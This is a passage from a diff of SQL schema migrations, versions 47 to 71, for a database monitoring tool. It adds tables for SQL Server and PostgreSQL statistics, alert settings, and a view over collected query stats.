+    persistent_version_store_size_mb numeric(19,2),
+    online_index_version_store_size_mb numeric(19,2),
+    database_data_size_mb numeric(19,2),
+    current_aborted_transaction_count bigint,
+    oldest_active_transaction_id bigint,
+    oldest_aborted_transaction_id bigint,
+    min_transaction_timestamp bigint,
+    online_index_min_transaction_timestamp bigint,
+    secondary_low_water_mark bigint,
+    offrow_version_cleaner_start_time timestamp,
+    offrow_version_cleaner_end_time timestamp,
+    aborted_version_cleaner_start_time timestamp,
+    aborted_version_cleaner_end_time timestamp,
+    pvs_off_row_page_skipped_low_water_mark bigint,
+    pvs_off_row_page_skipped_transaction_not_cleaned bigint,
+    pvs_off_row_page_skipped_oldest_active_xdesid bigint,
+    pvs_off_row_page_skipped_min_useful_xts bigint,
+    pvs_off_row_page_skipped_oldest_snapshot bigint,
+    pvs_off_row_page_skipped_oldest_aborted_xdesid bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_pvs_stats_time ON collect.pvs_stats(server_id, collection_time);
+
+CREATE OR REPLACE VIEW v_pvs_stats AS SELECT * FROM pvs_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (47, 'pvs-stats', now()::timestamp);
+-- ===BATCH=== V48 pvs-pressure-alert
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS pvs_enabled boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS pvs_threshold_percent integer NOT NULL DEFAULT 40;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS pvs_floor_gb integer NOT NULL DEFAULT 1;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (48, 'pvs-pressure-alert', now()::timestamp);
+-- ===BATCH=== V49 database-state-alert
+
+CREATE TABLE IF NOT EXISTS collect.database_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    database_id integer,
+    state_desc text,
+    is_in_standby boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_database_states_time ON collect.database_states(server_id, collection_time);
+
+CREATE TABLE IF NOT EXISTS config.database_state_expected (
+    server_id integer NOT NULL,
+    database_name text NOT NULL,
+    expected_state text NOT NULL,
+    is_user_override boolean NOT NULL DEFAULT false,
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    PRIMARY KEY (server_id, database_name)
+);
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS database_state_enabled boolean NOT NULL DEFAULT true;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (49, 'database-state-alert', now()::timestamp);
+-- ===BATCH=== V50 server-tag-colour
+
+ALTER TABLE config.server_tags
+    ADD COLUMN IF NOT EXISTS colour text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (50, 'server-tag-colour', now()::timestamp);
+-- ===BATCH=== V51 query-stats-host-object
+
+ALTER TABLE query_stats
+    ADD COLUMN IF NOT EXISTS host_object_name text;
+DROP VIEW IF EXISTS v_query_stats;
+
+ALTER TABLE query_plan_dim
+    ADD COLUMN IF NOT EXISTS query_plan_gz bytea;
+ALTER TABLE query_plan_dim
+    ALTER COLUMN query_plan_xml DROP NOT NULL;
+/* Pre-adds for the payload-resolving view below: it names every payload column the
+   collector has today, and a store replaying this rung may predate the ALTER that adds
+   one of them. Idempotent, so this is a no-op wherever they already exist. */
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS database_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS creation_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS last_execution_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_clr_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sql_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_generation_num bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS host_object_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+
+/* v_query_stats resolves each row's payload: the inline column for rows written before
+   the dimension tables existed, the dimension row for every row written since (#1767).
+   Column list generated from the collector definition so it can never go stale. */
+CREATE OR REPLACE VIEW v_query_stats AS
+SELECT
+    f.collection_id,
+    f.collection_time,
+    f.server_id,
+    f.server_name,
+    f.database_name,
+    f.query_hash,
+    f.query_plan_hash,
+    f.creation_time,
+    f.last_execution_time,
+    f.execution_count,
+    f.total_worker_time,
+    f.total_elapsed_time,
+    f.total_logical_reads,
+    f.total_logical_writes,
+    f.total_physical_reads,
+    f.total_clr_time,
+    f.total_rows,
+    f.total_spills,
+    f.min_worker_time,
+    f.max_worker_time,
+    f.min_elapsed_time,
+    f.max_elapsed_time,
+    f.min_physical_reads,
+    f.max_physical_reads,
+    f.min_rows,
+    f.max_rows,
+    f.min_dop,
+    f.max_dop,
+    f.min_grant_kb,
+    f.max_grant_kb,
+    f.min_used_grant_kb,
+    f.max_used_grant_kb,
+    f.min_ideal_grant_kb,
+    f.max_ideal_grant_kb,
+    f.min_reserved_threads,
+    f.max_reserved_threads,
+    f.min_used_threads,
+    f.max_used_threads,
+    f.min_spills,
+    f.max_spills,
+    COALESCE(f.query_text, qtd.query_text) AS query_text,
+    COALESCE(f.query_plan_xml, qpd.query_plan_xml) AS query_plan_xml,
+    f.sql_handle,
+    f.plan_handle,
+    f.delta_execution_count,
+    f.delta_worker_time,
+    f.delta_elapsed_time,
+    f.delta_logical_reads,
+    f.delta_logical_writes,
+    f.delta_physical_reads,
+    f.delta_rows,
+    f.delta_spills,
+    f.plan_generation_num,
+    f.sample_interval_seconds,
+    f.host_object_name,
+    f.query_plan_xml_bytes,
+    f.statement_start_offset,
+    f.statement_end_offset,
+    f.query_text_digest,
+    f.query_plan_digest,
+    qpd.query_plan_gz
+FROM query_stats AS f
+LEFT JOIN query_text_dim AS qtd ON qtd.digest = f.query_text_digest
+LEFT JOIN query_plan_dim AS qpd ON qpd.digest = f.query_plan_digest
+;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (51, 'query-stats-host-object', now()::timestamp);
+-- ===BATCH=== V52 finding-drilldown-json
+
+ALTER TABLE analysis_findings
+    ADD COLUMN IF NOT EXISTS drill_down_json text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (52, 'finding-drilldown-json', now()::timestamp);
+-- ===BATCH=== V53 store-self-metrics
+
+CREATE TABLE IF NOT EXISTS collect.store_metrics (
+    metric_time timestamp NOT NULL,
+    object_name text NOT NULL,
+    object_kind text NOT NULL,
+    total_bytes bigint,
+    compressed_before_bytes bigint,
+    compressed_after_bytes bigint,
+    chunk_count integer,
+    row_count bigint,
+    enabled_server_count integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_store_metrics_time ON collect.store_metrics(metric_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (53, 'store-self-metrics', now()::timestamp);
+-- ===BATCH=== V54 plan-dim-gzip
+
+ALTER TABLE query_plan_dim
+    ADD COLUMN IF NOT EXISTS query_plan_gz bytea;
+ALTER TABLE query_plan_dim
+    ALTER COLUMN query_plan_xml DROP NOT NULL;
+/* Pre-adds for the payload-resolving view below: it names every payload column the
+   collector has today, and a store replaying this rung may predate the ALTER that adds
+   one of them. Idempotent, so this is a no-op wherever they already exist. */
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS database_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS creation_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS last_execution_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_clr_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sql_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_generation_num bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS host_object_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+
+/* v_query_stats resolves each row's payload: the inline column for rows written before
+   the dimension tables existed, the dimension row for every row written since (#1767).
+   Column list generated from the collector definition so it can never go stale. */
+CREATE OR REPLACE VIEW v_query_stats AS
+SELECT
+    f.collection_id,
+    f.collection_time,
+    f.server_id,
+    f.server_name,
+    f.database_name,
+    f.query_hash,
+    f.query_plan_hash,
+    f.creation_time,
+    f.last_execution_time,
+    f.execution_count,
+    f.total_worker_time,
+    f.total_elapsed_time,
+    f.total_logical_reads,
+    f.total_logical_writes,
+    f.total_physical_reads,
+    f.total_clr_time,
+    f.total_rows,
+    f.total_spills,
+    f.min_worker_time,
+    f.max_worker_time,
+    f.min_elapsed_time,
+    f.max_elapsed_time,
+    f.min_physical_reads,
+    f.max_physical_reads,
+    f.min_rows,
+    f.max_rows,
+    f.min_dop,
+    f.max_dop,
+    f.min_grant_kb,
+    f.max_grant_kb,
+    f.min_used_grant_kb,
+    f.max_used_grant_kb,
+    f.min_ideal_grant_kb,
+    f.max_ideal_grant_kb,
+    f.min_reserved_threads,
+    f.max_reserved_threads,
+    f.min_used_threads,
+    f.max_used_threads,
+    f.min_spills,
+    f.max_spills,
+    COALESCE(f.query_text, qtd.query_text) AS query_text,
+    COALESCE(f.query_plan_xml, qpd.query_plan_xml) AS query_plan_xml,
+    f.sql_handle,
+    f.plan_handle,
+    f.delta_execution_count,
+    f.delta_worker_time,
+    f.delta_elapsed_time,
+    f.delta_logical_reads,
+    f.delta_logical_writes,
+    f.delta_physical_reads,
+    f.delta_rows,
+    f.delta_spills,
+    f.plan_generation_num,
+    f.sample_interval_seconds,
+    f.host_object_name,
+    f.query_plan_xml_bytes,
+    f.statement_start_offset,
+    f.statement_end_offset,
+    f.query_text_digest,
+    f.query_plan_digest,
+    qpd.query_plan_gz
+FROM query_stats AS f
+LEFT JOIN query_text_dim AS qtd ON qtd.digest = f.query_text_digest
+LEFT JOIN query_plan_dim AS qpd ON qpd.digest = f.query_plan_digest
+;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (54, 'plan-dim-gzip', now()::timestamp);
+-- ===BATCH=== V55 self-alert-knobs
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS self_disk_free_warn_percent integer NOT NULL DEFAULT 10;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS collection_stale_minutes integer NOT NULL DEFAULT 30;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS collection_failure_threshold integer NOT NULL DEFAULT 10;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS disk_critical_free_percent integer NOT NULL DEFAULT 3;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS disk_critical_free_gb integer NOT NULL DEFAULT 2;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS analysis_notify_cooldown_minutes integer NOT NULL DEFAULT 360;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (55, 'self-alert-knobs', now()::timestamp);
+-- ===BATCH=== V56 store-metrics-background-jobs
+
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS last_run_duration_ms bigint;
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS schedule_interval_ms bigint;
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS total_runs bigint;
+ALTER TABLE collect.store_metrics
+    ADD COLUMN IF NOT EXISTS total_failures bigint;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (56, 'store-metrics-background-jobs', now()::timestamp);
+-- ===BATCH=== V57 store-job-cadence-knob
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS store_job_cadence_warn_percent integer NOT NULL DEFAULT 25;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (57, 'store-job-cadence-knob', now()::timestamp);
+-- ===BATCH=== V58 qs-backfill-switch
+
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS query_store_backfill_enabled boolean NOT NULL DEFAULT TRUE;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (58, 'qs-backfill-switch', now()::timestamp);
+-- ===BATCH=== V59 collector-memory-knobs
+
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS query_store_text_budget_mb integer NOT NULL DEFAULT 64;
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS max_concurrent_sweeps integer NOT NULL DEFAULT 4;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (59, 'collector-memory-knobs', now()::timestamp);
+-- ===BATCH=== V60 database-state-edge-memory
+
+ALTER TABLE config.database_state_expected
+    ADD COLUMN IF NOT EXISTS last_alerted_state text;
+ALTER TABLE config.database_state_expected
+    ADD COLUMN IF NOT EXISTS last_alerted_at timestamp;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (60, 'database-state-edge-memory', now()::timestamp);
+-- ===BATCH=== V61 incident-occurrence-counters
+
+CREATE TABLE IF NOT EXISTS config.incident_occurrences (
+    server_id integer NOT NULL,
+    metric_name text NOT NULL,
+    dedup_key text NOT NULL,
+    total_occurrences bigint NOT NULL,
+    observed_window_count integer NOT NULL,
+    incident_started_at timestamp NOT NULL,
+    last_observed_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    PRIMARY KEY (server_id, metric_name, dedup_key)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (61, 'incident-occurrence-counters', now()::timestamp);
+-- ===BATCH=== V62 plan-xml-compression-knob
+
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS plan_xml_compression text NOT NULL DEFAULT 'gzip';
+DO $$
+BEGIN
+    IF NOT EXISTS (
+        SELECT 1 FROM pg_constraint
+        WHERE conname = 'config_service_plan_xml_compression_check'
+    ) THEN
+        ALTER TABLE config.config_service
+            ADD CONSTRAINT config_service_plan_xml_compression_check
+            CHECK (plan_xml_compression IN ('gzip', 'none'));
+    END IF;
+END $$;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (62, 'plan-xml-compression-knob', now()::timestamp);
+-- ===BATCH=== V63 pg-wait-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_wait_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    wait_type_id integer,
+    wait_event_id bigint,
+    wait_type text,
+    wait_event text,
+    waits bigint,
+    wait_time_us bigint,
+    delta_waits bigint,
+    delta_wait_time_us bigint,
+    sample_interval_seconds integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_wait_stats_time
+    ON collect.pg_wait_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (63, 'pg-wait-stats', now()::timestamp);
+-- ===BATCH=== V64 pg-statement-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_statement_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    queryid bigint,
+    database_id bigint,
+    user_id bigint,
+    toplevel boolean,
+    calls bigint,
+    total_exec_time_ms double precision,
+    min_exec_time_ms double precision,
+    max_exec_time_ms double precision,
+    mean_exec_time_ms double precision,
+    rows_returned bigint,
+    shared_blks_hit bigint,
+    shared_blks_read bigint,
+    shared_blks_dirtied bigint,
+    shared_blks_written bigint,
+    temp_blks_read bigint,
+    temp_blks_written bigint,
+    blk_read_time_ms double precision,
+    blk_write_time_ms double precision,
+    storage_blks_read bigint,
+    orcache_blks_hit bigint,
+    storage_blk_read_time_ms double precision,
+    orcache_blk_read_time_ms double precision,
+    wal_records bigint,
+    wal_fpi bigint,
+    wal_bytes bigint,
+    total_exec_peakmem_bytes bigint,
+    max_exec_peakmem_bytes bigint,
+    delta_calls bigint,
+    delta_total_exec_time_ms bigint,
+    delta_rows bigint,
+    sample_interval_seconds integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_statement_stats_time
+    ON collect.pg_statement_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (64, 'pg-statement-stats', now()::timestamp);
+-- ===BATCH=== V65 pg-wraparound-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_wraparound_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    frozen_xid_age bigint,
+    min_multixid_age bigint,
+    autovacuum_freeze_max_age bigint,
+    autovacuum_multixact_freeze_max_age bigint,
+    pct_toward_emergency_vacuum double precision,
+    pct_toward_wraparound double precision,
+    pct_toward_multixact_emergency double precision,
+    pct_toward_multixact_wraparound double precision,
+    xids_remaining bigint,
+    multixids_remaining bigint,
+    allows_connections boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_wraparound_stats_time
+    ON collect.pg_wraparound_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (65, 'pg-wraparound-stats', now()::timestamp);
+-- ===BATCH=== V66 pg-xmin-horizon
+
+CREATE TABLE IF NOT EXISTS collect.pg_xmin_horizon (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    source text,
+    xmin_age bigint,
+    holder text,
+    detail text,
+    is_winner boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_xmin_horizon_time
+    ON collect.pg_xmin_horizon(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (66, 'pg-xmin-horizon', now()::timestamp);
+-- ===BATCH=== V67 pg-replication-slots
+
+CREATE TABLE IF NOT EXISTS collect.pg_replication_slot_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    slot_name text,
+    slot_type text,
+    plugin text,
+    database_name text,
+    is_active boolean,
+    active_pid bigint,
+    is_temporary boolean,
+    two_phase boolean,
+    wal_status text,
+    safe_wal_size_bytes bigint,
+    retained_wal_bytes bigint,
+    xmin_age bigint,
+    catalog_xmin_age bigint,
+    inactive_since timestamp,
+    invalidation_reason text,
+    conflicting boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_replication_slot_stats_time
+    ON collect.pg_replication_slot_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (67, 'pg-replication-slots', now()::timestamp);
+-- ===BATCH=== V68 pg-autovacuum-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_autovacuum_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    live_tuples bigint,
+    dead_tuples bigint,
+    mods_since_analyze bigint,
+    inserts_since_vacuum bigint,
+    vacuum_threshold bigint,
+    insert_vacuum_threshold bigint,
+    analyze_threshold bigint,
+    autovacuum_disabled boolean,
+    total_bytes bigint,
+    last_vacuum timestamp,
+    last_autovacuum timestamp,
+    last_analyze timestamp,
+    last_autoanalyze timestamp,
+    vacuum_count bigint,
+    autovacuum_count bigint,
+    analyze_count bigint,
+    autoanalyze_count bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_autovacuum_stats_time
+    ON collect.pg_autovacuum_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (68, 'pg-autovacuum-stats', now()::timestamp);
+-- ===BATCH=== V69 pg-io-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_io_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    backend_type text,
+    object_type text,
+    context text,
+    reads bigint,
+    read_time_ms double precision,
+    writes bigint,
+    write_time_ms double precision,
+    writebacks bigint,
+    writeback_time_ms double precision,
+    extends bigint,
+    extend_time_ms double precision,
+    op_bytes bigint,
+    hits bigint,
+    evictions bigint,
+    reuses bigint,
+    fsyncs bigint,
+    fsync_time_ms double precision,
+    stats_reset timestamp,
+    read_bytes numeric(28,0),
+    write_bytes numeric(28,0),
+    extend_bytes numeric(28,0)
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_io_stats_time
+    ON collect.pg_io_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (69, 'pg-io-stats', now()::timestamp);
+-- ===BATCH=== V70 monitored-server-engine
+
+ALTER TABLE config.config_monitored_servers
+    ADD COLUMN IF NOT EXISTS engine text NOT NULL DEFAULT 'sqlserver';
+
+ALTER TABLE config.config_monitored_servers
+    ADD COLUMN IF NOT EXISTS port integer NOT NULL DEFAULT 0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (70, 'monitored-server-engine', now()::timestamp);
+-- ===BATCH=== V71 pg-blocking-edges
+
+CREATE TABLE IF NOT EXISTS collect.pg_blocking_edges (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    blocked_backend_id bigint,
+    blocked_pid integer,
+    blocking_backend_id bigint,
+    blocking_pid integer,
+    database_name text,
+    blocked_username text,
+    blocked_application_name text,
+    blocked_client_addr text,
+    blocked_state text,
+    blocked_wait_event_type text,
+    blocked_wait_event text,
+    blocked_query text,
+    blocked_xact_duration_ms bigint,
+    blocked_query_duration_ms bigint,
+    blocking_username text,
+    blocking_application_name text,
+    blocking_client_addr text,
+    blocking_state text,
+    blocking_wait_event_type text,
+    blocking_wait_event text,
+    blocking_query text,
+    blocking_xact_duration_ms bigint,
+    blocking_query_duration_ms bigint,
+    blocked_pid_count integer,
+    blocking_is_idle_in_transaction boolean,
+    query_text_may_be_truncated boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_blocking_edges_time
+    ON collect.pg_blocking_edges(server_id, collection_time);
